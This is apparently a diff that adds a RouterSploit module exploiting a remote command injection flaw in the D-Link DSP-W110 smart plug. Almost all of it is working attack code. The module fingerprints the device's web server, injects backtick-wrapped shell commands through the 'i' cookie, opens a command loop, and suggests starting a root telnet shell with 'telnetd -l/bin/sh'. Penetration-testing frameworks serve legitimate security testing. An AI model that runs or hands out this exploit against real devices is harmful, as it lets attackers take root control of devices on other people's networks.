D-Link DSP-W110 RCE exploit

routersploit/modules/exploits/dlink/dsp_w110_rce.py

+from routersploit import (
+    exploits,
+    print_status,
+    print_error,
+    http_request,
+    mute,
+    validators,
+    shell,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for D-Link DPS-W110 Remote Code Execution vulnerability.
+    If the target is vulnerable, command loop is invoked that allows executing commands on the device.
+    """
+    __info__ = {
+        'name': 'D-Link DSP-W110 RCE',
+        'description': 'Module exploits D-Link DSP-W110 Remote Command Execution vulnerability '
+                       'which allows executing command on the operating system level.',
+        'authors': [
+            'Peter Adkins <peter.adkins[at]kernelpicnic.net',  # vulnerability discovery
+            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
+        ],
+        'references': [
+            'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'
+        ],
+        'devices': [
+            'D-Link DSP-W110 (Rev A) - v1.05b01'
+        ]
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)
+    port = exploits.Option(80, 'Target Port')
+
+    def run(self):
+        if self.check():
+            print_status("Target might be vulnerable - difficult to verify")
+            print_status("Invoking command loop...")
+            print_status("It is blind command injection, response is not available.")
+            print_status("Spawn root shell with telnetd -l/bin/sh")
+            shell(self, architecture="mips")
+        else:
+            print_error("Exploit failed - target seems to be not vulnerable")
+
+    def execute(self, cmd):
+        if len(cmd) > 18:
+            print_error("Command too long. Max is 18 characters.")
+            return ""
+
+        url = "{}:{}/".format(self.target, self.port)
+
+        payload = "`{}`".format(cmd)
+
+        cookies = {"i": payload}
+
+        http_request(method="GET", url=url, cookies=cookies)
+        return ""
+
+    @mute
+    def check(self):
+        url = "{}:{}/".format(self.target, self.port)
+
+        response = http_request(method="GET", url=url)
+        if response is not None and "Server" in response.headers.keys() and "lighttpd/1.4.34" in response.headers['Server']:
+            return True  # target is vulnerable
+
+        return False